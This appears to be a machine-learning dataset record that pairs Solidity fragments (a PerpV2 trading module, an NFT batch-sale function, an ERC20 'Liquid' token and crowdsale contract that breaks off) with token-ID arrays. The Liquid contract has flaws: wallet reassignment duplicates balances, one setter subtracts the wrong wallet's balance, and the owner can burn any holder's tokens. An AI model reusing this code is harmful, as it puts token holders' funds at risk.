uint256 collateralNotionalQuantity = _collateralQuantityUnits.preciseMul(_setToken.totalSupply());
_withdraw(_setToken, collateralNotionalQuantity);
_setToken.calculateAndEditDefaultPosition(
address(collateralToken),
_setToken.totalSupply(),
initialCollateralPositionBalance
);
_setToken.editExternalPosition(
address(collateralToken),
address(this),
_calculateExternalPositionUnit(_setToken),
""
);
return collateralNotionalQuantity;
}
/**
* @dev Formats Perp Protocol openPosition call and executes via SetToken (and PerpV2 lib)
* @return uint256 The base position delta resulting from the trade
* @return uint256 The quote asset position delta resulting from the trade
*/
function _executeTrade(ActionInfo memory _actionInfo) internal returns (uint256, uint256) {
IClearingHouse.OpenPositionParams memory params = IClearingHouse.OpenPositionParams({
baseToken: _actionInfo.baseToken,
isBaseToQuote: _actionInfo.isBaseToQuote,
isExactInput: _actionInfo.isExactInput,
amount: _actionInfo.amount.toUint256(),
oppositeAmountBound: _actionInfo.oppositeAmountBound,
deadline: PreciseUnitMath.maxUint256(),
sqrtPriceLimitX96: 0,
referralCode: bytes32(0)
});
return _actionInfo.setToken.invokeOpenPosition(perpClearingHouse, params);
}
/**
* @dev Formats Perp Periphery Quoter.swap call and executes via SetToken (and PerpV2 lib)
* @return uint256 The base position delta resulting from the trade
* @return uint256 The quote asset position delta resulting from the trade
*/
function _simulateTrade(ActionInfo memory _actionInfo) internal returns (uint256, uint256) {
IQuoter.SwapParams memory params = IQuoter.SwapParams({
baseToken: _actionInfo.baseToken,
isBaseToQuote: _actionInfo.isBaseToQuote,
isExactInput: _actionInfo.isExactInput,
amount: _actionInfo.amount.toUint256(),
sqrtPriceLimitX96: 0
});
IQuoter.SwapResponse memory swapResponse = _actionInfo.setToken.invokeSwap(perpQuoter, params);
return (swapResponse.deltaAvailableBase, swapResponse.deltaAvailableQuote);
}
/**
* @dev Calculates protocol fee on module and pays protocol fee from SetToken
* @return uint256 Total protocol fee paid in underlying collateral decimals e.g (USDC = 6)
*/
function _accrueProtocolFee(
ISetToken _setToken,
uint256 _exchangedQuantity
)
internal
returns(uint256)
{
uint256 protocolFee = getModuleFee(PROTOCOL_TRADE_FEE_INDEX, _exchangedQuantity);
uint256 protocolFeeInCollateralDecimals = _fromPreciseUnitToDecimals(
protocolFee,
collateralDecimals
);
_withdraw(_setToken, protocolFeeInCollateralDecimals);
payProtocolFeeFromSetToken(_setToken, address(collateralToken), protocolFeeInCollateralDecimals);
return protocolFeeInCollateralDecimals;
}
/**
* @dev Construct the ActionInfo struct for trading. This method takes POSITION UNIT amounts and passes to
* _createAndValidateActionInfoNotional to create the struct. If the _baseTokenQuantity is zero then revert.
*
* @param _setToken Instance of the SetToken
* @param _baseToken Address of base token being traded into/out of
* @param _baseTokenUnits Quantity of baseToken to trade in PositionUnits
* @param _quoteReceiveUnits Quantity of quote to receive if selling base and pay if buying, in PositionUnits
*
* @return ActionInfo Instance of constructed ActionInfo struct
*/
function _createAndValidateActionInfo(
ISetToken _setToken,
address _baseToken,
int256 _baseTokenUnits,
uint256 _quoteReceiveUnits
)
internal
view
returns(ActionInfo memory)
{
require(_baseTokenUnits != 0, "Amount is 0");
uint256 totalSupply = _setToken.totalSupply();
return _createAndValidateActionInfoNotional(
_setToken,
_baseToken,
_baseTokenUnits.preciseMul(totalSupply.toInt256()),
_quoteReceiveUnits.preciseMul(totalSupply)
);
}
/**
* @dev Construct the ActionInfo struct for trading. This method takes NOTIONAL token amounts and creates
* the struct. If the _baseTokenQuantity is less than zero then we are selling the baseToken.
*
* | ---------------------------------------------------------------------------------------------|
* | Action | isShort | isB2Q | Exact In / Out | Amount | Opposit Bound Description |
* | ------- |---------|--------|-----------------------|-----------|---------------------------- |
* | Sell | true | true | exact input (true) | baseToken | Min quote to receive |
* | Buy | false | false | exact output (false) | baseToken | Max quote to pay |
* |----------------------------------------------------------------------------------------------|
*
* @param _setToken Instance of the SetToken
* @param _baseToken Address of base token being traded into/out of
* @param _baseTokenQuantity Notional quantity of baseToken to trade
* @param _quoteReceiveQuantity Notional quantity of quote to receive if selling base and pay if buying
*
* @return ActionInfo Instance of constructed ActionInfo struct
*/
function _createAndValidateActionInfoNotional(
ISetToken _setToken,
address _baseToken,
int256 _baseTokenQuantity,
uint256 _quoteReceiveQuantity
)
internal
pure
returns(ActionInfo memory)
{
// NOT checking that _baseTokenQuantity != 0 here because for places this is directly called
// (issue/redeem hooks) we know they position cannot be 0. We check in _createAndValidateActionInfo
// that quantity is 0 for inputs to trade.
bool isShort = _baseTokenQuantity < 0;
return ActionInfo({
setToken: _setToken,
baseToken: _baseToken,
isBaseToQuote: isShort,
isExactInput: isShort,
amount: _abs(_baseTokenQuantity),
oppositeAmountBound: _quoteReceiveQuantity
});
}
/**
* @dev Update position address array if a token has been newly added or completely sold off
* during lever/delever
*/
function _updatePositionList(ISetToken _setToken, address _baseToken) internal {
int256 baseBalance = perpAccountBalance.getBase(address(_setToken), _baseToken);
address[] memory positionList = positions[_setToken];
if (positionList.contains(_baseToken) && baseBalance == 0) {
positions[_setToken].removeStorage(_baseToken);
} else if (!positionList.contains(_baseToken)) {
positions[_setToken].push(_baseToken);
}
}
/**
* @dev Gets the ratio by which redemption will reduce open notional quote balance. This value
* is used to calculate realizedPnl of the asset sale in _executeModuleRedeemHook
*/
function _getReducedOpenNotional(
int256 _setTokenQuantity,
int256 _basePositionUnit,
PositionNotionalInfo memory _positionInfo
)
internal
pure
returns (int256)
{
// From perp formulas: closeRatio = abs(baseTradeNotional) / abs(baseBalance)
int256 baseTradeNotionalQuantity = _setTokenQuantity.preciseMul(_basePositionUnit);
int256 closeRatio = _abs(baseTradeNotionalQuantity).preciseDiv(_abs(_positionInfo.baseBalance));
return _positionInfo.quoteBalance.preciseMul(closeRatio);
}
/**
* @dev Calculates the sum of collateralToken denominated market-prices of assets and debt for the Perp account per
* SetToken
*/
function _calculateExternalPositionUnit(ISetToken _setToken) internal view returns (int256) {
PositionNotionalInfo[] memory positionInfo = getPositionNotionalInfo(_setToken);
AccountInfo memory accountInfo = getAccountInfo(_setToken);
int256 totalPositionValue = 0;
for (uint i = 0; i < positionInfo.length; i++ ) {
int256 spotPrice = getAMMSpotPrice(positionInfo[i].baseToken).toInt256();
totalPositionValue = totalPositionValue.add(
positionInfo[i].baseBalance.preciseMul(spotPrice)
);
}
int256 externalPositionUnitInPrecisionDecimals = totalPositionValue
.add(accountInfo.collateralBalance)
.add(accountInfo.netQuoteBalance)
.add(accountInfo.owedRealizedPnl)
.add(accountInfo.pendingFundingPayments)
.preciseDiv(_setToken.totalSupply().toInt256());
return _fromPreciseUnitToDecimals(
externalPositionUnitInPrecisionDecimals,
collateralDecimals
);
}
// @dev Retrieves collateral balance as an an 18 decimal vUSDC quote value
function _getCollateralBalance(ISetToken _setToken) internal view returns (int256) {
int256 balance = perpVault.getBalance(address(_setToken));
return _toPreciseUnitsFromDecimals(balance, collateralDecimals);
}
/**
* @dev Returns issuance or redemption adjustments in the format expected by `SlippageIssuanceModule`.
* The last recorded externalPositionUnit (current) is subtracted from a dynamically generated
* externalPositionUnit (new) and set in an `equityAdjustments` array which is the same length as
* the SetToken's components array, at the same index the collateral token occupies in the components
* array. All other values are left unset (0). An empty-value components length debtAdjustments
* array is also returned.
*/
function _formatAdjustments(
ISetToken _setToken,
address[] memory _components,
int256 _newExternalPositionUnit
)
internal
view
returns (int256[] memory, int256[] memory)
{
int256[] memory equityAdjustments = new int256[](_components.length);
int256[] memory debtAdjustments = new int256[](_components.length);
(uint256 index, bool isIn) = _components.indexOf(address(collateralToken));
if (isIn) {
int256 currentExternalPositionUnit = _setToken.getExternalPositionRealUnit(
address(collateralToken),
address(this)
);
equityAdjustments[index] = _newExternalPositionUnit.sub(currentExternalPositionUnit);
}
return (equityAdjustments, debtAdjustments);
}
/**
* @dev Converts a UniswapV3 sqrtPriceX96 value to a priceX96 value. This method is borrowed from
* PerpProtocol's `lushan` repo, in lib/PerpMath and used by `getAMMSpotPrice` while generating a
* PRECISE_UNIT vAsset market price
*/
function _formatSqrtPriceX96ToPriceX96(uint160 sqrtPriceX96) internal pure returns (uint256) {
return FullMath.mulDiv(sqrtPriceX96, sqrtPriceX96, FixedPoint96.Q96);
}
/**
* @dev Converts a UniswapV3 X96 format price into a PRECISE_UNIT price. This method is borrowed from
* PerpProtocol's `lushan` repo, in lib/PerpMath and used by `getAMMSpotPrice` while generating a
* PRECISE_UNIT vAsset market price
*/
function _formatX96ToX10_18(uint256 valueX96) internal pure returns (uint256) {
return FullMath.mulDiv(valueX96, 1 ether, FixedPoint96.Q96);
}
/**
* @dev Converts a uint256 PRECISE_UNIT quote quantity into an alternative decimal format. In Perp all
* assets are 18 decimal quantities we need to represent as 6 decimal USDC quantities when setting
* position units or withdrawing from Perp's Vault contract.
*
* This method is borrowed from PerpProtocol's `lushan` repo in lib/SettlementTokenMath
*/
function _fromPreciseUnitToDecimals(uint256 amount, uint8 decimals) internal pure returns (uint256) {
return amount.div(10**(18 - uint(decimals)));
}
/**
* @dev Converts an int256 PRECISE_UNIT quote quantity into an alternative decimal format. In Perp all
* assets are 18 decimal quantities we need to represent as 6 decimal USDC quantities when setting
* position units or withdrawing from Perp's Vault contract.
*
* This method is borrowed from PerpProtocol's `lushan` repo in lib/SettlementTokenMath
*/
function _fromPreciseUnitToDecimals(int256 amount, uint8 decimals) internal pure returns (int256) {
return amount.div(int256(10**(18 - uint(decimals))));
}
/**
* @dev Converts an arbitrarily decimalized quantity into a PRECISE_UNIT quantity. In Perp the vault
* balance is represented as a 6 decimals USDC quantity which we need to consume in PRECISE_UNIT
* format when calculating values like the external position unit and current leverage.
*/
function _toPreciseUnitsFromDecimals(int256 amount, uint8 decimals) internal pure returns (int256) {
return amount.mul(int256(10**(18 - (uint(decimals)))));
}
function _abs(int x) internal pure returns (int) {
return x >= 0 ? x : x.mul(-1);
}
} | * @dev Converts a uint256 PRECISE_UNIT quote quantity into an alternative decimal format. In Perp all assets are 18 decimal quantities we need to represent as 6 decimal USDC quantities when setting position units or withdrawing from Perp's Vault contract. This method is borrowed from PerpProtocol's `lushan` repo in lib/SettlementTokenMath/ | function _fromPreciseUnitToDecimals(uint256 amount, uint8 decimals) internal pure returns (uint256) {
return amount.div(10**(18 - uint(decimals)));
}
| 7,220,975 | [
1,
5692,
279,
2254,
5034,
7071,
7266,
1090,
67,
15736,
3862,
10457,
1368,
392,
10355,
6970,
740,
18,
657,
5722,
84,
777,
7176,
854,
6549,
6970,
10251,
1961,
732,
1608,
358,
2406,
487,
1666,
6970,
11836,
5528,
10251,
1961,
1347,
3637,
1754,
4971,
578,
598,
9446,
310,
628,
5722,
84,
1807,
17329,
6835,
18,
1220,
707,
353,
29759,
329,
628,
5722,
84,
5752,
1807,
1375,
80,
1218,
304,
68,
3538,
316,
2561,
19,
694,
88,
806,
1345,
10477,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
2080,
1386,
30708,
2802,
774,
31809,
12,
11890,
5034,
3844,
16,
2254,
28,
15105,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
3844,
18,
2892,
12,
2163,
636,
12,
2643,
300,
2254,
12,
31734,
3719,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/5/0xd70F9F92b53c559895cf84cF561D28374995880A/sources/project:/contracts/WDCSerialKillers.sol | @param _ids array of token ID's wanting to purchase @param _amounts array of quantities for each token ID to purchase | function publicSale(
uint256[] calldata _ids,
uint256[] calldata _amounts
) external payable {
require(
contractState == ContractState.PUBLIC_SALE,
"publicSale: public sale is not live"
);
uint256 i = 0;
uint256 totalCost = 0;
uint256 idLength = _ids.length;
for (; i < idLength; ) {
require(
totalSupply(_ids[i]) + _amounts[i] <=
tokenData[_ids[i]].maxSupply,
"publicSale: not enough supply left"
);
totalCost += tokenData[_ids[i]].price * _amounts[i];
unchecked {
++i;
}
}
require(msg.value >= totalCost, "publicSale: SEND MORE ETHEREUM");
_mintBatch(msg.sender, _ids, _amounts, "");
}
| 1,878,904 | [
1,
67,
2232,
526,
434,
1147,
1599,
1807,
2545,
310,
358,
23701,
225,
389,
8949,
87,
526,
434,
10251,
1961,
364,
1517,
1147,
1599,
358,
23701,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1071,
30746,
12,
203,
3639,
2254,
5034,
8526,
745,
892,
389,
2232,
16,
203,
3639,
2254,
5034,
8526,
745,
892,
389,
8949,
87,
203,
565,
262,
3903,
8843,
429,
288,
203,
3639,
2583,
12,
203,
5411,
6835,
1119,
422,
13456,
1119,
18,
14939,
67,
5233,
900,
16,
203,
5411,
315,
482,
30746,
30,
1071,
272,
5349,
353,
486,
8429,
6,
203,
3639,
11272,
203,
203,
3639,
2254,
5034,
277,
273,
374,
31,
203,
3639,
2254,
5034,
2078,
8018,
273,
374,
31,
203,
3639,
2254,
5034,
612,
1782,
273,
389,
2232,
18,
2469,
31,
203,
3639,
364,
261,
31,
277,
411,
612,
1782,
31,
262,
288,
203,
5411,
2583,
12,
203,
7734,
2078,
3088,
1283,
24899,
2232,
63,
77,
5717,
397,
389,
8949,
87,
63,
77,
65,
1648,
203,
10792,
1147,
751,
63,
67,
2232,
63,
77,
65,
8009,
1896,
3088,
1283,
16,
203,
7734,
315,
482,
30746,
30,
486,
7304,
14467,
2002,
6,
203,
5411,
11272,
203,
5411,
2078,
8018,
1011,
1147,
751,
63,
67,
2232,
63,
77,
65,
8009,
8694,
380,
389,
8949,
87,
63,
77,
15533,
203,
203,
5411,
22893,
288,
203,
7734,
965,
77,
31,
203,
5411,
289,
203,
3639,
289,
203,
203,
3639,
2583,
12,
3576,
18,
1132,
1545,
2078,
8018,
16,
315,
482,
30746,
30,
31434,
490,
8607,
512,
19905,
41,
2799,
8863,
203,
203,
3639,
389,
81,
474,
4497,
12,
3576,
18,
15330,
16,
389,
2232,
16,
389,
8949,
87,
16,
1408,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0x0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title ERC20 interface
*/
contract AbstractERC20 {
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256 value);
function transfer(address _to, uint256 _value) public returns (bool _success);
function allowance(address owner, address spender) public constant returns (uint256 _value);
function transferFrom(address from, address to, uint256 value) public returns (bool _success);
function approve(address spender, uint256 value) public returns (bool _success);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
contract LiquidToken is Ownable, AbstractERC20 {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
address public teamWallet;
address public advisorsWallet;
address public founderWallet;
address public bountyWallet;
mapping (address => uint256) public balances;
/// The transfer allowances
mapping (address => mapping (address => uint256)) public allowed;
mapping(address => bool) public isTeamOrAdvisorsOrFounder;
event Burn(address indexed burner, uint256 value);
constructor() public {
name = "Liquid";
symbol = "LIQUID";
decimals = 18;
totalSupply = 58e6 * 10**18; // 58 million tokens
owner = msg.sender;
balances[owner] = totalSupply;
emit Transfer(0x0, owner, totalSupply);
}
/**
* @dev Check balance of given account address
* @param owner The address account whose balance you want to know
* @return balance of the account
*/
function balanceOf(address owner) public view returns (uint256){
return balances[owner];
}
/**
* @dev transfer token for a specified address (written due to backward compatibility)
* @param to address to which token is transferred
* @param value amount of tokens to transfer
* return bool true=> transfer is succesful
*/
function transfer(address to, uint256 value) public returns (bool) {
require(to != address(0x0));
require(value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address from which token is transferred
* @param to address to which token is transferred
* @param value amount of tokens to transfer
* @return bool true=> transfer is succesful
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(to != address(0x0));
require(value <= balances[from]);
require(value <= allowed[from][msg.sender]);
balances[from] = balances[from].sub(value);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(value);
balances[to] = balances[to].add(value);
emit Transfer(from, to, value);
return true;
}
/**
* @dev Approve function will delegate spender to spent tokens on msg.sender behalf
* @param spender ddress which is delegated
* @param value tokens amount which are delegated
* @return bool true=> approve is succesful
*/
function approve(address spender, uint256 value) public returns (bool) {
allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev it will check amount of token delegated to spender by owner
* @param owner the address which allows someone to spend fund on his behalf
* @param spender address which is delegated
* @return return uint256 amount of tokens left with delegator
*/
function allowance(address owner, address spender) public view returns (uint256) {
return allowed[owner][spender];
}
/**
* @dev increment the spender delegated tokens
* @param spender address which is delegated
* @param valueToAdd tokens amount to increment
* @return bool true=> operation is succesful
*/
function increaseApproval(address spender, uint valueToAdd) public returns (bool) {
allowed[msg.sender][spender] = allowed[msg.sender][spender].add(valueToAdd);
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
/**
* @dev deccrement the spender delegated tokens
* @param spender address which is delegated
* @param valueToSubstract tokens amount to decrement
* @return bool true=> operation is succesful
*/
function decreaseApproval(address spender, uint valueToSubstract) public returns (bool) {
uint oldValue = allowed[msg.sender][spender];
if (valueToSubstract > oldValue) {
allowed[msg.sender][spender] = 0;
} else {
allowed[msg.sender][spender] = oldValue.sub(valueToSubstract);
}
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*
*/
function burn(address _who, uint256 _value) public onlyOwner {
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
/**
* @dev set team wallet, funds of team will be allocated to a account controlled by admin/founder
* @param _teamWallet address of bounty wallet.
*
*/
function setTeamWallet (address _teamWallet) public onlyOwner returns (bool) {
require(_teamWallet != address(0x0));
if(teamWallet == address(0x0)){
teamWallet = _teamWallet;
balances[teamWallet] = 4e6 * 10**18;
balances[owner] = balances[owner].sub(balances[teamWallet]);
}else{
address oldTeamWallet = teamWallet;
teamWallet = _teamWallet;
balances[teamWallet] = balances[oldTeamWallet];
}
return true;
}
/**
* @dev set AdvisorsWallet, funds of team will be allocated to a account controlled by admin/founder
* @param _advisorsWallet address of Advisors wallet.
*
*/
function setAdvisorsWallet (address _advisorsWallet) public onlyOwner returns (bool) {
require(_advisorsWallet != address(0x0));
if(advisorsWallet == address(0x0)){
advisorsWallet = _advisorsWallet;
balances[advisorsWallet] = 2e6 * 10**18;
balances[owner] = balances[owner].sub(balances[teamWallet]);
}else{
address oldAdvisorsWallet = advisorsWallet;
advisorsWallet = _advisorsWallet;
balances[advisorsWallet] = balances[oldAdvisorsWallet];
}
return true;
}
/**
* @dev set Founders wallet, funds of team will be allocated to a account controlled by admin/founder
* @param _founderWallet address of Founder wallet.
*
*/
function setFoundersWallet (address _founderWallet) public onlyOwner returns (bool) {
require(_founderWallet != address(0x0));
if(founderWallet == address(0x0)){
founderWallet = _founderWallet;
balances[founderWallet] = 8e6 * 10**18;
balances[owner] = balances[owner].sub(balances[founderWallet]);
}else{
address oldFounderWallet = founderWallet;
founderWallet = _founderWallet;
balances[founderWallet] = balances[oldFounderWallet];
}
return true;
}
/**
* @dev set bounty wallet
* @param _bountyWallet address of bounty wallet.
*
*/
function setBountyWallet (address _bountyWallet) public onlyOwner returns (bool) {
require(_bountyWallet != address(0x0));
if(bountyWallet == address(0x0)){
bountyWallet = _bountyWallet;
balances[bountyWallet] = 4e6 * 10**18;
balances[owner] = balances[owner].sub(balances[bountyWallet]);
}else{
address oldBountyWallet = bountyWallet;
bountyWallet = _bountyWallet;
balances[bountyWallet] = balances[oldBountyWallet];
}
return true;
}
/**
* @dev Function to Airdrop tokens from bounty wallet to contributors as long as there are enough balance.
* @param dests destination address of bounty beneficiary.
* @param values tokesn for beneficiary.
* @return number of address airdropped and True if the operation was successful.
*/
function airdrop(address[] dests, uint256[] values) public onlyOwner returns (uint256, bool) {
require(dests.length == values.length);
uint8 i = 0;
while (i < dests.length && balances[bountyWallet] >= values[i]) {
balances[bountyWallet] = balances[bountyWallet].sub(values[i]);
balances[dests[i]] = balances[dests[i]].add(values[i]);
i += 1;
}
return (i, true);
}
/**
* @dev Function to transferTokensToTeams tokens from Advisor wallet to contributors as long as there are enough balance.
* @param teamMember destination address of team beneficiary.
* @param values tokens for beneficiary.
* @return True if the operation was successful.
*/
function transferTokensToTeams(address teamMember, uint256 values) public onlyOwner returns (bool) {
require(teamMember != address(0));
require (values != 0);
balances[teamWallet] = balances[teamWallet].sub(values);
balances[teamMember] = balances[teamMember].add(values);
isTeamOrAdvisorsOrFounder[teamMember] = true;
return true;
}
/**
* @dev Function to transferTokensToFounders tokens from Advisor wallet to contributors as long as there are enough balance.
* @param founder destination address of team beneficiary.
* @param values tokens for beneficiary.
* @return True if the operation was successful.
*/
function transferTokensToFounders(address founder, uint256 values) public onlyOwner returns (bool) {
require(founder != address(0));
require (values != 0);
balances[founderWallet] = balances[founderWallet].sub(values);
balances[founder] = balances[founder].add(values);
isTeamOrAdvisorsOrFounder[founder] = true;
return true;
}
/**
* @dev Function to transferTokensToAdvisors tokens from Advisor wallet to contributors as long as there are enough balance.
* @param advisor destination address of team beneficiary.
* @param values tokens for beneficiary.
* @return True if the operation was successful.
*/
function transferTokensToAdvisors(address advisor, uint256 values) public onlyOwner returns (bool) {
require(advisor != address(0));
require (values != 0);
balances[advisorsWallet] = balances[advisorsWallet].sub(values);
balances[advisor] = balances[advisor].add(values);
isTeamOrAdvisorsOrFounder[advisor] = true;
return true;
}
}
contract Crowdsale is LiquidToken {
using SafeMath for uint256;
address public ETHCollector;
uint256 public tokenCost = 140; //140 cents
uint256 public ETH_USD; //in cents
uint256 public saleStartDate;
uint256 public saleEndDate;
uint256 public softCap;
uint256 public hardCap;
uint256 public minContribution = 28000; //280$ =280,00 cent
uint256 public tokensSold;
uint256 public weiCollected;
//Number of investors who have received refund
uint256 public countInvestorsRefunded;
uint256 public countTotalInvestors;
// Whether the Crowdsale is paused.
bool public paused;
bool public start;
bool public stop;
//Set status of refund
bool public refundStatus;
//Structure to store token sent and wei received by the buyer of tokens
struct Investor {
uint256 investorID;
uint256 weiReceived;
uint256 tokenSent;
}
//investors indexed by their ETH address
mapping(address => Investor) public investors;
mapping(address => bool) public isinvestor;
mapping(address => bool) public whitelist;
//investors indexed by their IDs
mapping(uint256 => address) public investorList;
//event to log token supplied
event TokenSupplied(address beneficiary, uint256 tokens, uint256 value);
event RefundedToInvestor(address indexed beneficiary, uint256 weiAmount);
event NewSaleEndDate(uint256 endTime);
event StateChanged(bool changed);
modifier respectTimeFrame() {
require (start);
require(!paused);
require(now >= saleStartDate);
require(now <= saleEndDate);
_;
}
constructor(address _ETHCollector) public {
ETHCollector = _ETHCollector;
hardCap = 40e6 * 10**18;
softCap = 2e6 * 10**18;
//Initially no investor has been refunded
countInvestorsRefunded = 0;
//Refund eligible or not
refundStatus = false;
}
//transfer ownership with token balance
function transferOwnership(address _newOwner) public onlyOwner {
super.transfer(_newOwner, balances[owner]);
_transferOwnership(_newOwner);
}
//function to start sale
